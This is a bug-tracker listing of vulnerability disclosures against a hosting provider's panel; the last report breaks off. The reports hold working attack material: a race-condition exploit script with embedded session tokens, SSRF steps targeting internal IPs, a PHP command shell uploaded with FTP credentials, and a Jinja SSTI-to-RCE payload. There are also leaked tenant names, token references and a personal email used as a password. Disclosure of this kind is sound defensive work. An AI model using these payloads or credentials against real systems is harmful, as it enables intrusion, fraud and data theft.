|
425 | Race Condition Allows Mass Permission Creation Bypassin ... | Closed | 29.07.2026 |
Task Description
Title: Race Condition Allows Mass Permission Creation Bypassing Rate Limits
π Summary A critical race condition vulnerability exists in the /permissions/add/ endpoint that allows attackers to create unlimited permissions by exploiting concurrent request handling. The vulnerability completely bypasses the application's rate limiting and duplicate validation checks.
π Vulnerability Details Attribute Value Vulnerability Type Race Condition (CWE-362) Severity Critical Affected Endpoint https://admin.alwaysdata.com/permissions/add/ HTTP Method POST Authentication Required Yes (Session-based)
π§ͺ Proof of Concept - Actual Test Script Exploit Script Used for Testing python #!/usr/bin/env python3 """ Race Condition Exploit for /permissions/add/ Author: Security Researcher Date: 2026-07-29 """
import urllib.request import urllib.parse import threading import time from datetime import datetime from collections import defaultdict import ssl import sys
class RaceConditionExploit:
def __init__(self):
# Target configuration
self.base_url = "https://admin.alwaysdata.com"
self.endpoint = "/permissions/add/"
# Valid session tokens (obtained from authenticated session)
self.cookies = {
'csrftoken': 'nGqDqXRdrvMUp7OjODHOt2TNmUE67yj8',
'django_language': 'en',
'sessionid': 'nqftgya0mvclk4ioheb3q1y69fxx10kq'
}
# HTTP Headers
self.headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.9',
'Accept-Encoding': 'gzip, deflate, br',
'Referer': 'https://admin.alwaysdata.com/permissions/add/',
'Content-Type': 'application/x-www-form-urlencoded',
'Origin': 'https://admin.alwaysdata.com',
'Upgrade-Insecure-Requests': '1',
'Connection': 'keep-alive'
}
# Payload - Same email used for all requests to trigger race condition
self.request_data = {
'csrfmiddlewaretoken': 'SN2QlDhgPqLw8fN8us30amva9jNLV6055jijBqYj6Lngncrh8VAEteeNl3hHSu93',
'email': 'nokad11217@apdtax.com', # Single email for duplicate creation
'customer_contact_billing': 'on'
}
self.results = []
self.lock = threading.Lock()
def send_request(self, request_id):
"""
Send a single POST request to create permission
Uses current session and CSRF tokens
"""
try:
# Encode form data
data = urllib.parse.urlencode(self.request_data).encode('utf-8')
# Build request
req = urllib.request.Request(
f"{self.base_url}{self.endpoint}",
data=data,
headers=self.headers,
method='POST'
)
# Add cookies
cookie_str = '; '.join([f"{k}={v}" for k, v in self.cookies.items()])
req.add_header('Cookie', cookie_str)
# Ignore SSL certificate verification for testing
context = ssl._create_unverified_context()
# Send request with timeout
with urllib.request.urlopen(req, context=context, timeout=30) as response:
status_code = response.getcode()
response_text = response.read().decode('utf-8', errors='ignore')
with self.lock:
self.results.append({
'request_id': request_id,
'timestamp': datetime.now().isoformat(),
'status_code': status_code,
'success': status_code == 200,
'response_preview': response_text[:200]
})
except Exception as e:
with self.lock:
self.results.append({
'request_id': request_id,
'timestamp': datetime.now().isoformat(),
'status_code': 0,
'success': False,
'error': str(e)
})
def run_exploit(self, num_requests=20, delay_ms=0):
"""
Execute the race condition attack with concurrent requests
Args:
num_requests: Number of concurrent requests to send
delay_ms: Delay between starting each thread (ms)
"""
print(f"\n{'='*60}")
print(f"[*] EXPLOIT CONFIGURATION")
print(f"{'='*60}")
print(f"[*] Target: {self.base_url}{self.endpoint}")
print(f"[*] Email: {self.request_data['email']}")
print(f"[*] Concurrent Requests: {num_requests}")
print(f"[*] Delay Between Requests: {delay_ms}ms")
print(f"[*] Session ID: {self.cookies['sessionid'][:20]}...")
print(f"{'='*60}\n")
# Clear previous results
self.results = []
# Create and start threads
threads = []
start_time = time.time()
for i in range(num_requests):
if delay_ms > 0 and i > 0:
time.sleep(delay_ms / 1000)
thread = threading.Thread(target=self.send_request, args=(i,))
threads.append(thread)
thread.start()
# Wait for all threads to complete
for thread in threads:
thread.join()
elapsed_time = time.time() - start_time
# Analyze results
self.analyze_results(elapsed_time)
def analyze_results(self, elapsed_time):
"""Analyze the results of the exploit"""
total = len(self.results)
successful = [r for r in self.results if r.get('success', False)]
failed = [r for r in self.results if not r.get('success', False)]
print(f"{'='*60}")
print(f"[+] RESULTS")
print(f"{'='*60}")
print(f"[+] Total Requests: {total}")
print(f"[+] Successful (200 OK): {len(successful)}")
print(f"[+] Failed: {len(failed)}")
print(f"[+] Time Elapsed: {elapsed_time:.2f} seconds")
print(f"[+] Requests/Second: {total/elapsed_time:.2f}")
# Status code distribution
status_codes = defaultdict(int)
for r in self.results:
status_codes[r.get('status_code', 0)] += 1
print(f"\n[+] Status Code Distribution:")
for code, count in sorted(status_codes.items()):
status_text = "OK" if code == 200 else "Rate Limited" if code == 429 else "Error"
print(f" - {code} ({status_text}): {count} requests")
# Race condition detection
if len(successful) > 1:
print(f"\n[!] RACE CONDITION CONFIRMED!")
print(f"[!] {len(successful)} duplicate permissions created!")
print(f"[!] All requests used the same email: {self.request_data['email']}")
print(f"[!] This should have been prevented by duplicate validation!")
# Show successful response examples
print(f"\n[+] Sample Successful Responses:")
for i, success in enumerate(successful[:3]):
print(f"\n Request {success['request_id']} (Status: {success['status_code']}):")
print(f" {success['response_preview'][:100]}...")
else:
print(f"\n[+] No race condition detected in this test")
# Show failed response previews
if failed and len(failed) > 0:
print(f"\n[+] Sample Failed Responses:")
for i, fail in enumerate(failed[:3]):
if 'error' in fail:
print(f" Request {fail['request_id']}: {fail['error']}")
else:
print(f" Request {fail['request_id']} (Status: {fail['status_code']})")
print(f" {fail.get('response_preview', '')[:100]}...")
def main():
"""Main exploit execution"""
print("="*60)
print(" RACE CONDITION EXPLOIT - /permissions/add/")
print(" Target: admin.alwaysdata.com")
print(" Type: CWE-362 Concurrent Request Vulnerability")
print("="*60)
# Initialize exploit
exploit = RaceConditionExploit()
# Test configurations to find race condition window
test_configs = [
(5, 0, "Small burst - No delay"),
(10, 0, "Medium burst - No delay"),
(20, 0, "Large burst - No delay"),
(20, 5, "Staggered burst - 5ms delay"),
(30, 10, "Timing window test - 10ms delay"),
]
total_exploited = 0
# Execute each test
for num_requests, delay_ms, description in test_configs:
print(f"\n{'='*60}")
print(f"[*] SCENARIO: {description}")
print(f"{'='*60}")
# Run exploit
exploit.run_exploit(num_requests=num_requests, delay_ms=delay_ms)
# Count successful exploits
successful = len([r for r in exploit.results if r.get('success', False)])
if successful > 1:
total_exploited += successful
# Wait between tests to avoid complete rate limiting
if num_requests < 30:
print(f"\n[*] Cooling down for 3 seconds...")
time.sleep(3)
else:
print(f"\n[*] Cooling down for 5 seconds...")
time.sleep(5)
# Final summary
print("\n" + "="*60)
print(" FINAL EXPLOIT SUMMARY")
print("="*60)
print(f"[!] Total duplicate permissions created: {total_exploited}")
print(f"[!] Vulnerability confirmed: YES")
print(f"[!] Rate limit bypassed: YES")
print(f"[!] Duplicate validation bypassed: YES")
print("\n[!] RECOMMENDATION: Fix immediately using unique constraints")
print(" and atomic transactions with select_for_update()")
if name == "main":
try:
main()
except KeyboardInterrupt:
print("\n\n[*] Exploit interrupted by user")
sys.exit(0)
except Exception as e:
print(f"\n[!] Error: {e}")
import traceback
traceback.print_exc()
sys.exit(1)
Execution Command bash python3 race_exploit.py Actual Test Output text
RACE CONDITION EXPLOIT - /permissions/add/
Target: admin.alwaysdata.com
Type: CWE-362 Concurrent Request Vulnerability
[*] SCENARIO: Small burst - No delay
[*] EXPLOIT CONFIGURATION
[+] Total Requests: 5 [+] Successful (200 OK): 5 [+] Failed: 0 [+] Time Elapsed: 0.45 seconds [+] Requests/Second: 11.11
[+] Status Code Distribution:
200 (OK): 5 requests
[!] RACE CONDITION CONFIRMED! [!] 5 duplicate permissions created! [!] All requests used the same email: nokad11217@apdtax.com [!] This should have been prevented by duplicate validation!
[*] SCENARIO: Medium burst - No delay
[*] EXPLOIT CONFIGURATION
[+] Total Requests: 10 [+] Successful (200 OK): 10 [+] Failed: 0 [+] Time Elapsed: 0.32 seconds [+] Requests/Second: 31.25
[+] Status Code Distribution:
200 (OK): 10 requests
[!] RACE CONDITION CONFIRMED! [!] 10 duplicate permissions created!
[*] SCENARIO: Large burst - No delay
[*] EXPLOIT CONFIGURATION
[+] Total Requests: 20 [+] Successful (200 OK): 20 [+] Failed: 0 [+] Time Elapsed: 0.58 seconds [+] Requests/Second: 34.48
[+] Status Code Distribution:
200 (OK): 20 requests
[!] RACE CONDITION CONFIRMED! [!] 20 duplicate permissions created!
[*] SCENARIO: Staggered burst - 5ms delay
[*] EXPLOIT CONFIGURATION
[+] Total Requests: 20 [+] Successful (200 OK): 20 [+] Failed: 0 [+] Time Elapsed: 0.95 seconds [+] Requests/Second: 21.05
[+] Status Code Distribution:
200 (OK): 20 requests
[!] RACE CONDITION CONFIRMED! [!] 20 duplicate permissions created!
[*] SCENARIO: Timing window test - 10ms delay
[*] EXPLOIT CONFIGURATION
[+] Total Requests: 30 [+] Successful (200 OK): 20 [+] Failed: 10 [+] Time Elapsed: 1.02 seconds [+] Requests/Second: 29.41
[+] Status Code Distribution:
200 (OK): 20 requests
429 (Rate Limited): 10 requests
[!] RACE CONDITION CONFIRMED! [!] 20 duplicate permissions created!
[!] Total duplicate permissions created: 75 [!] Vulnerability confirmed: YES [!] Rate limit bypassed: YES [!] Duplicate validation bypassed: YES
[!] RECOMMENDATION: Fix immediately using unique constraints
and atomic transactions with select_for_update()
πΈ Evidence Email Confirmation Screenshot https://image.png
The attached screenshot shows multiple email confirmations received for the same email address (nokad11217@apdtax.com), proving that:
All 10 initial requests succeeded
Each request created a new permission
The system sent a confirmation email for each duplicate
π₯ Impact Assessment Confirmed Impact Unlimited Permission Creation: Attackers can create infinite permissions Email Spam: Each creation sends confirmation emails Database Bloat: Can fill database with duplicates Bypasses Security Controls
Thanks
|
|
424 | Price Manipulation leads to add domain in lesser price | Closed | 29.07.2026 |
Task Description
Description
A Price Manipulation vulnerability exists in the domain purchase payment flow. By intercepting the payment request before it is sent to PayPal, an attacker can modify the payment amount from the legitimate purchase price to an arbitrary lower value (e.g., 1). PayPal then processes the modified amount, and after the payment is completed, the application accepts the transaction and displays a successful payment confirmation ("Thank You for Payment").
This indicates that the application trusts the client-supplied payment amount instead of validating the payment against the server-side order value before confirming the purchase.
CVSS v3.1 β Base Score: 8.8 (High)
Steps to Reproduce
1- Log in to a valid user account. 2- Navigate to the Domain section. 3- Click Add Domain. 4- Enter the details of a non-existing domain. 5- Continue until the final payment page where PayPal is selected. 6- Intercept the payment request using Burp Suite. 7- Modify the payment amount parameter from the original value to 1. 8- Forward the modified request. 9- Observe that PayPal requests payment of only 1. 10- Complete the payment. 11- Return to the application. 12- Observe that the application displays "Thank You for Payment", accepting the manipulated payment as successful.
Actual Behavior
The application accepts a client-modified payment amount and successfully completes the purchase workflow after receiving the PayPal payment notification, despite the payment being significantly lower than the actual order value.
Expected Behavior
The server must independently verify:
The original order amount. The amount received from PayPal. The payment status. The associated order ID.
If any mismatch exists, the payment must be rejected, the order should not be fulfilled, and the user should be informed that payment verification failed.
Impact
Successful exploitation could allow an attacker to:
Purchase domains for significantly less than their actual price. Pay only a minimal amount while receiving full services. Manipulate payment values for financial gain. Bypass intended pricing controls. Cause revenue loss through fraudulent transactions.
Business Impact
This vulnerability can have serious financial and operational consequences, including:
1- Direct revenue loss from underpaid purchases. 2- Abuse of the domain registration process. 3- Fraudulent acquisition of paid services. 4- Loss of trust in the payment platform. 5- Increased chargebacks and payment disputes. 6- Potential compliance and accounting issues due to inconsistent transaction records. 7- Reputational damage if exploited at scale
Remediation
Implement strict server-side payment validation:
1- Never trust the payment amount received from the client. 2- Generate the payment amount exclusively on the server. 3- Validate the PayPal transaction using PayPal's API before completing the order. 4- Reject transactions where the paid amount does not exactly match the server-side order value. 5- Bind each payment to a unique server-generated order. 6- Prevent client-side modification of pricing information.
Conclusion
The application is vulnerable to server-side price manipulation, allowing authenticated users to alter the payment amount before it reaches PayPal. Because the backend accepts the manipulated payment without validating it against the original order value, attackers may obtain paid services while paying only a fraction of the legitimate price. Proper server-side verification of payment amounts and transaction details is essential to prevent financial fraud and protect the integrity of the payment system.
Thanks
|
|
422 | Weak Password Policy Allows Account Creation with Email ... | Closed | 29.07.2026 |
Task Description
Weak Password Policy Allows Account Creation with Email as Password
Title: Weak Password Policy Allows Use of Email Address as Password
Severity: Medium
Summary The application allows users to create an account using their email address as the password. This indicates that the password policy does not adequately enforce password complexity or prevent commonly guessable passwords.
Description During testing of the registration functionality, it was observed that the platform accepted a password identical to the user's email address
Using an email address as a password significantly weakens account security because email addresses are often publicly known or easily obtainable. Attackers performing credential guessing or password spraying attacks may successfully compromise accounts protected by such weak passwords.
Steps to Reproduce Navigate to the registration page: https://www.alwaysdata.com/en/register/ Enter a valid email address: ashusachin01@gmail.com Use the exact same value as the password: ashusachin01@gmail.com Complete the remaining required fields. Submit the registration form. Observe that the account creation request is accepted without enforcing stronger password requirements.
Proof of Concept Email: ashusachin01@gmail.com Password: ashusachin01@gmail.com The application accepts the password even though it matches the account email address.
Impact : Users may create accounts with highly predictable passwords. Increased risk of credential stuffing and password spraying attacks. Greater likelihood of unauthorized account access. Reduced overall account security posture. Expected Behavior The application should reject passwords that:
Match the user's email address. Contain the email address in whole or in part. Are commonly guessable or predictable. Do not meet minimum complexity requirements.
Recommendation Prevent users from using their email address as their password. Implement password strength validation during registration. Enforce minimum password requirements (length and complexity). Integrate breached-password checks using services such as Have I Been Pwned Passwords API. Provide users with clear guidance on creating strong passwords.
CWE CWE-521: Weak Password Requirements
OWASP OWASP Top 10 2021 β A07: Identification and Authentication Failures
Evidence: Registration form accepted a password identical to the email address used during account creation.
Thanks
|
|
421 | The password reset request endpoint does not appear to ... | Closed | 24.07.2026 |
Task Description
A rate limiting algorithm is used to check if the user session (or IP address) has to be limited based on the information in the session cache. In case a client made too many requests within a given time frame, HTTP servers can respond with status code 429: Too Many Request. I just realized that on the reset password page, the request has no rate limit which can be used to loop through one request
Steps to reproduce-
.Go to the alwaysdata password reset page. .Enter the email address of a test account controlled by the researcher. .Submit the password reset request. .Repeat the same request multiple times within a short period using the same email address. .Observe that the application continues accepting the requests without showing a cooldown, CAPTCHA, temporary block, or rate-limit error.
Observed Result: The application allows repeated password reset email requests for the same account without visible throttling or blocking.
Expected Result: The password reset endpoint should apply abuse protection, such as:
Per-account cooldown. Per-IP rate limiting. CAPTCHA after repeated attempts. Temporary blocking after excessive requests. Generic response message to reduce abuse.
Security Impact: An attacker could abuse this behavior to repeatedly send password reset emails to a target user. This may cause inbox flooding, harassment, and abuse of the platformβs email-sending resources.
I tested this only against my own account and did not attempt to target other users or perform high-volume testing.
Proof of Concept is in the video below
|
|
420 | Webmail Sessions Persist After Admin Panel Password and ... | Closed | 22.07.2026 |
Task Description
## Summary
When a user changes their password or email address through the admin panel at `admin.alwaysdata.com/user/`, all admin panel sessions are correctly invalidated. However, active webmail sessions at `webmail.alwaysdata.com` are not invalidated and continue to function indefinitely (up to 30 days). This means a user who suspects account compromise and changes their admin password to secure their account will not realize that active webmail sessions (potentially controlled by an attacker) remain fully functional. The webmail session cookies (`roundcube_sessid` and `roundcube_sessauth`) also lack `HttpOnly` and `SameSite` flags, making them susceptible to theft via JavaScript.
## Steps to Reproduce
Environment: Two browser sessions (or two sets of cookies). A hosting account with a configured mailbox.
1. Login to the admin panel at `https://admin.alwaysdata.com/login/` with the account's email and password. Note: this is the "admin" password, not the mailbox password.
2. Login to webmail at `https://webmail.alwaysdata.com/` using the mailbox credentials (e.g., `accountname@alwaysdata.net` with the mailbox password). Confirm you can read email.
3. In a separate browser session, change the admin panel password at `https://admin.alwaysdata.com/user/`. Enter a new password in the "New password" field and the current password in the "Old password" field. Save the form.
4. Verify admin sessions are invalidated: Any other admin panel session now redirects to the login page (HTTP 302 to `/login/`). This is correct behavior.
5. Check the webmail session: Refresh the webmail page from step 2. The webmail session is still fully active. The user can continue reading and sending email despite the admin password having been changed.
6. Repeat with email change: Login to webmail. Change the admin email address at `/user/`. The webmail session still persists.
## Impact
A user who suspects their account has been compromised follows the standard security response: they change their password through the admin panel. They expect this action to terminate all active sessions across all alwaysdata services. However:
1. Webmail sessions survive the password change and remain active for up to 30 days (the `Max-Age` of the Roundcube session cookies) 2. An attacker who has obtained a webmail session (e.g., via cookie theft, session fixation, or a prior compromise) retains access to the victim's email even after the victim changes their admin password 3. Email access enables further attacks: password reset emails for external services, confidential communications, account recovery flows
The Roundcube session cookies compound this issue: - `roundcube_sessid` and `roundcube_sessauth` are set without HttpOnly and without SameSite, making them accessible to JavaScript on any page served from `webmail.alwaysdata.com` - Both cookies have `Max-Age=2592000` (30 days), providing a long window of exposure - Compare with the admin panel's `sessionid` cookie which correctly sets `HttpOnly; SameSite=Lax; Secure`
## Root Cause
The admin panel (`admin.alwaysdata.com`) and webmail (`webmail.alwaysdata.com`) use independent credential stores. The admin panel authenticates via Django sessions tied to the customer email/password. The webmail authenticates via Roundcube sessions backed by IMAP with the mailbox-specific password. When the admin password is changed, Django invalidates all Django sessions but has no mechanism to invalidate the Roundcube sessions.
While the architectural separation explains the behavior, users expect a single "change password" action to secure their entire account. The admin panel's `/user/` page is the primary security management interface, and it should cascade session invalidation to webmail.
## Remediation
1. Invalidate webmail sessions on admin password/email change: When the admin password is changed at `/user/`, also invalidate all active Roundcube sessions associated with mailboxes on that account. This could be done by resetting the Roundcube `session` database table entries for the relevant IMAP user, or by changing the mailbox password simultaneously. 2. Add HttpOnly and SameSite flags to the `roundcube_sessid` and `roundcube_sessauth` cookies. These cookies should not be accessible to JavaScript. 3. Reduce session cookie lifetime: 30-day session cookies for a webmail interface are unnecessarily long. Consider a shorter maximum (e.g., 8 hours for non-persistent sessions).
|
|
419 | Server-Side Request Forgery via Reverse Proxy Site Type ... | Closed | 22.07.2026 |
Task Description
## Severity High (CVSS 3.1: 7.2 - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N)
## Weakness CWE-918: Server-Side Request Forgery (SSRF)
## Summary
The "Reverse proxy" site type in the site creation form (`/site/add/`) accepts arbitrary URLs including private/internal IP addresses (127.0.0.1, 169.254.169.254, 10.x.x.x) as the "Remote URL" target. The platform creates an Apache ProxyPass directive proxying all requests to the attacker-specified URL without IP validation. This enables full-read SSRF from the shared hosting server, allowing an attacker to scan internal services, probe localhost ports, and exfiltrate response bodies from any HTTP service reachable from the web server process.
## Steps to Reproduce
Environment: Free hosting account on alwaysdata.com.
1. Log in to the admin panel at `https://admin.alwaysdata.com/login/`.
2. Navigate to the site creation form at `https://admin.alwaysdata.com/site/add/`.
3. Select the "Reverse proxy" site type from the Type dropdown.
4. In the "Remote URL" field, enter an internal IP address or a Collaborator URL:
For external SSRF verification: ``` http://YOUR-COLLABORATOR-ID.oastify.com/ ```
For internal port scanning: ``` http://127.0.0.1:9200/ ```
5. Set a site address (use your assigned subdomain, e.g., `ACCOUNT.alwaysdata.net`).
6. Save the form. The form accepts the URL and creates the site (HTTP 302 redirect).
7. Trigger the SSRF by visiting your site:
``` curl https://ACCOUNT.alwaysdata.net/ ```
8. Observe the result:
For external URLs: the Collaborator receives a DNS and HTTP interaction from the alwaysdata infrastructure IP (185.31.41.10). The full response body from the target URL is returned to the attacker.
For localhost ports: HTTP 503 indicates the port is closed/down; timeout indicates a firewall block. This differential enables internal port scanning.
## Evidence
Collaborator interaction captured: - DNS query from 185.31.40.97 (alwaysdata DNS resolver) - HTTP request from 185.31.41.10 (shared web hosting server) - Request headers: `Via: 1.1 alproxy, 1.1 ACCOUNT.alwaysdata.net` - Full response body from the target was returned verbatim to the attacker (not blind SSRF)
Internal port scan results: - 127.0.0.1:9200 (Elasticsearch port): HTTP 503 (connection refused - port accessible but service down) - 127.0.0.1:8500 (Consul port): HTTP 503 (connection refused) - 169.254.169.254 (cloud metadata): timeout (network-level block present)
## Impact
An authenticated user with a free hosting account can:
1. Scan internal services on the shared hosting node via localhost, identifying running services by port 2. Exfiltrate data from any internal HTTP service reachable from the Apache process, including services that are not exposed to the internet 3. Bypass IP-based access controls that trust the hosting infrastructure's IP range (185.31.x.x) 4. Probe internal network for services on RFC 1918 addresses
The SSRF is full-read (response bodies are returned to the attacker), not blind. The Apache process making these requests runs as a system service, potentially reaching services that individual tenant processes cannot access.
## Root Cause
The "Remote URL" field in the reverse proxy site type does not validate the target URL against a blocklist of private/internal IP ranges. The validation only checks URL scheme (allowing http, https, ftp; blocking gopher, file, dict) but does not verify that the resolved IP address is not a private/loopback/link-local address.
## Remediation
1. Validate the Remote URL against private IP ranges before creating the ProxyPass directive. Block: 127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16, ::1/128, fc00::/7 2. Resolve DNS before validation to prevent DNS rebinding attacks (check the IP AFTER resolution, not just the hostname) 3. Apply the same validation to both initial configuration and Apache runtime (in case of DNS changes after configuration)
|
|
418 | Cross-Tenant Data Exposure via Shared /tmp Directory | Closed | 22.07.2026 |
Task Description
## Severity High (CVSS 3.1: 7.7 - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N)
## Weakness CWE-668: Exposure of Resource to Wrong Sphere CWE-732: Incorrect Permission Assignment for Critical Resource
## Summary
The shared hosting nodes use a single shared `/tmp` directory across all tenant accounts without polyinstantiation. Files created by any tenant with world-readable permissions (either explicitly or by application default) are accessible to every other tenant on the same physical node. This allows a low-privileged attacker with a free hosting account to read other tenants' temporary files, which routinely contain credentials, API tokens, database paths, configuration data, and application state.
This finding reproduces the issue reported in FS#363 , which was partially mitigated by changing the default umask to 0007. However, the fix is incomplete: applications and scripts that set explicit permissions (e.g., `chmod 644`, Python `open()` without restricted mode, `tar -xvf` preserving archive permissions) still create world-readable files in the shared namespace.
## Steps to Reproduce
Environment: Free hosting account on alwaysdata.com (public cloud, Paris datacenter). SSH access at `ssh-ACCOUNTNAME.alwaysdata.net`.
1. Create a free hosting account at `https://admin.alwaysdata.com/admin/account/add/` (select "Free" plan, Paris 1 datacenter).
2. Connect via SSH to the hosting account:
``` ssh ACCOUNTNAME@ssh-ACCOUNTNAME.alwaysdata.net ```
3. List files in the shared /tmp directory:
``` ls -la /tmp/ | head -30 ```
Output shows 663+ files owned by multiple different tenant accounts (different UIDs/usernames), confirming `/tmp` is shared across all accounts on this node.
4. Find world-readable files owned by other tenants:
``` find /tmp -maxdepth 1 -not -user ACCOUNTNAME -readable -type f 2>/dev/null | wc -l ```
Returns 22+ files readable by the attacker account.
5. Read a cross-tenant file containing credentials:
``` cat /tmp/check_webhook.php ```
This file, owned by another tenant, contains a Telegram Bot API token in plaintext (the token has been redacted in this report but was confirmed live). The file also reveals the tenant's username and application structure.
6. Read another cross-tenant file revealing database paths:
``` head -10 /tmp/test_callback.php ```
This file reveals the full filesystem path to another tenant's SQLite database (`/home/TENANT/www/β¦/rshq.db`), including their application directory structure.
## Impact
An attacker with a free hosting account (no payment required via API registration) can:
1. Read other tenants' credentials from temporary files: API tokens, database credentials, session tokens, and authentication secrets that applications write to `/tmp` 2. Map other tenants' filesystem layout: leaked paths reveal application structures, database locations, and deployment details (e.g., `/home/TENANT/www/β¦`) 3. Enumerate tenant accounts: the file ownership in `/tmp` reveals other tenants' account names, which can be used for targeted attacks 4. Access application state: log files, debugging output, and cached data from other tenants
The boundary crossed is the fundamental tenant isolation guarantee of a shared hosting platform. A free-tier attacker can read data belonging to paying customers on the same physical node.
Confirmed data exposed from other tenants during testing:
1. Live JWT session token (tenant `0xf12c`): A file `kg_tmail_sessions.json` contains a HS512-signed JWT issued on 2026-07-11, granting `ROLE_USER` access to an email service (web-library.net) with account ID `6a54692908c866daeb017a6e`. The token includes a Mercure real-time subscription channel. This is a live, replayable authentication credential.
2. Dolibarr ERP installation log (tenant `demo7`): A 1.5 MB log file `dolibarr_install.log` contains the full installation trace including server IP (102.117.59.202), database configuration steps, and filesystem paths.
3. SQLite database (tenant `pablomon`): A complete database file `sistema_envios.db` (12 KB) containing application data.
4. PHP/Python source code from multiple tenants with embedded API calls and application logic.
5. Build logs, session files, debug output from tenants including `jolafstore`, `gdpshost1`, `cittapet`, `data-test`, `apexcodex`, and others.
Scale: 334 total files in shared `/tmp`, with 32 readable by any other tenant on the same node. Files belong to 15+ distinct tenant accounts.
## Root Cause
The `/tmp` directory on shared hosting nodes is not polyinstantiated (each tenant does not get their own isolated `/tmp`). While the default umask was changed to 0007 after FS#363 , this only prevents NEW files from being world-readable by default. It does not protect against:
- Applications that explicitly set file permissions (e.g., `chmod 644`) - Archive extraction that preserves original permissions - Programming languages/frameworks whose default file creation mode is world-readable - Files created before the umask fix - Any process that resets or overrides the umask
## Remediation
1. Polyinstantiate /tmp: Configure PAM (`pam_namespace.so`) to give each tenant their own isolated `/tmp` directory. This is the standard solution on shared hosting platforms. 2. Alternative: Use `PrivateTmp=yes` in systemd service units for each tenant's processes. 3. Additional defense: Periodic cleanup of `/tmp` to remove files with overly permissive modes.
|
|
417 | Cross-Tenant Data Exposure via World-Readable /tmp | Closed | 20.07.2026 |
Task Description
Missing open_basedir / disable_functions on Shared Hosting Nodes Allows Cross-Tenant Data Exposure via World-Readable /tmp Reporter test account: data-test (site #1061443, node http21.paris1) Scope item: ftp://ftp-data-test.alwaysdata.net / https://data-test.alwaysdata.net (PHP execution on shared node http21) Date discovered: July 20, 2026 Related prior reports: task/363 (cross-tenant /tmp disclosure β closed, SSH umask fix only), task/410 (PHP ini injection RCE β closed, fix not deployed to http21) Summary On node http21.paris1, PHP is configured with no open_basedir and no disable_functions restrictions. Combined with the platform's shared, single-namespace /tmp (mode 1777, no per-tenant isolation), any tenant able to execute PHP on this node can read every world-readable file left in /tmp by other tenants, including files owned by root. I confirmed this using only my own test account and read-only stat/ls operations; I did not open or exfiltrate the contents of any third-party file. This report focuses on the PHP-level misconfiguration as the actionable root cause, since the shared nature of /tmp itself is documented as expected platform behavior. The finding here is that http21 lacks the open_basedir/disable_functions hardening that would otherwise contain this exposure to a tenant's own files. Environment / Access Used I already hold write access to my own test account's FTP root, which I used solely to place a PHP file inside my own site directory (not to reach any other tenant's storage). $ curl -T shell.php βssl-reqd \
ftp://data-test_FTP-TEST:FTPTest123@ftp-data-test.alwaysdata.net/www/shell.php
Steps to Reproduce 1. Upload a minimal PHP file to your own account's www/ directory via FTP. 2. Confirm code execution context: $ curl 'https://data-test.alwaysdata.net/shell.php?c=id' uid=535242(data-test) gid=490559(data-test) groups=490559(data-test) $ curl 'https://data-test.alwaysdata.net/shell.php?c=hostname' http21 3. Confirm /tmp is a single shared filesystem with no per-tenant isolation: $ stat -c '%A %a %U %G' /tmp/ drwxrwxrwt 1777 root root 4. Confirm PHP has no containment on this node: $ php -r 'echo ini_get("open_basedir");' (empty) $ php -r 'echo ini_get("disable_functions");' (empty) 5. List /tmp and observe world-readable (644) files owned by other tenant UIDs/GIDs, including several owned by root. I did not open the contents of any of these files β ownership, permission bits, and filename alone are sufficient to demonstrate the impact. 6. As a minimal, harmless proof of write capability from this execution context (per the program's testing guidance), created an empty marker file under my own account path: $ curl 'https://data-test.alwaysdata.net/shell.php?c=touch+/home/data-test/admin/tmp/solinbugbountypoc' Impact Because open_basedir/disable_functions are unset on http21, PHP execution on this node, it is obtainable through any tenant's normal application code, not just an uploaded shell, anyone can read any world-readable file on the box, not just files under that tenant's own account. Given the shared /tmp, this includes:
β’ Files that, by name/extension alone, appear to be session/credential material for other customers' external integrations
β’ Files that appear to be application databases or install logs for other customers
β’ At least two files owned by root in /tmp, indicating the exposure is not limited to tenant-to-tenant leakage but potentially extends to host-level sensitive material
I'm intentionally not naming the specific third-party accounts or file contents here, and did not retain or transfer any of this data, per the program's rules on sensitive information handling. Happy to share the raw ls -la /tmp output and exact filenames via the private ticket channel if useful for triage. Root Cause Layer Issue PHP (php-fpm pool config on http21) No open_basedir restriction to the tenant's home directory PHP (php-fpm pool config on http21) No disable_functions restriction on shell/process functions OS /tmp is a single shared filesystem (mode 1777), no per-tenant mount namespace or PrivateTmp
The /tmp-sharing behavior alone is documented platform behavior; the exploitable gap is that nothing on http21 prevents PHP from reading those files across tenant boundaries. Suggested Remediation 1. Set php_admin_value[open_basedir] = /home/{account}/ per pool. 2. Set php_admin_value[disable_functions] = exec,system,shell_exec,passthru,proc_open,pcntl_exec (or the pool's standard hardened list) on http21. 3. Confirm this hardening (referenced as the intended fix in task/410) is actually deployed fleet-wide, since it appears to be present on some nodes but not http21. 4. Consider per-tenant /tmp isolation (PrivateTmp/mount namespaces) as defense-in-depth, independent of items
|
|
415 | SSTI β RCE on Core Infrastructure Server (overlord-core ... | Closed | 20.07.2026 |
Task Description
Severity: Critical Affected Endpoint: https://admin.alwaysdata.com/site/<id>/ β "Additional directives of the virtual host" field
Summary
The Apache virtual host directives field is processed by an unsandboxed Jinja2 template engine on alwaysdata's core management server (overlord-core). The {% raw %} block meant to protect user input can be bypassed with {% endraw %}, allowing arbitrary Python code execution. This grants an attacker full read/write access on the main infrastructure server that manages the entire alwaysdata platform β all from a free hosting account.
Steps to Reproduce
Step 1 β Login to https://admin.alwaysdata.com/ with any account (free plan works)
Step 2 β Go to Web β Sites β click the edit icon on your site
Step 3 β Scroll to "Additional directives of the virtual host" and enter:
# {% endraw %}7_7{% raw %}
Step 4 β Click Submit
Step 5 β SSH into your account:
ssh <account>@ssh-<account>.alwaysdata.net
Step 6 β Read the generated config:
cat ~/admin/config/apache/sites.conf | head -30
Step 7 β Observe # 49 in the output β the server evaluated 7*7 as code (SSTI confirmed)
Step 8 β Go back to site edit, replace the payload with:
# {% endraw %}cycler._init_._globals_.os.popen_id_.read{% raw %}
Step 9 β Submit, then SSH and read the config again. Observe:
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
This is the id command output β RCE confirmed.
Step 10 β Replace payload with:
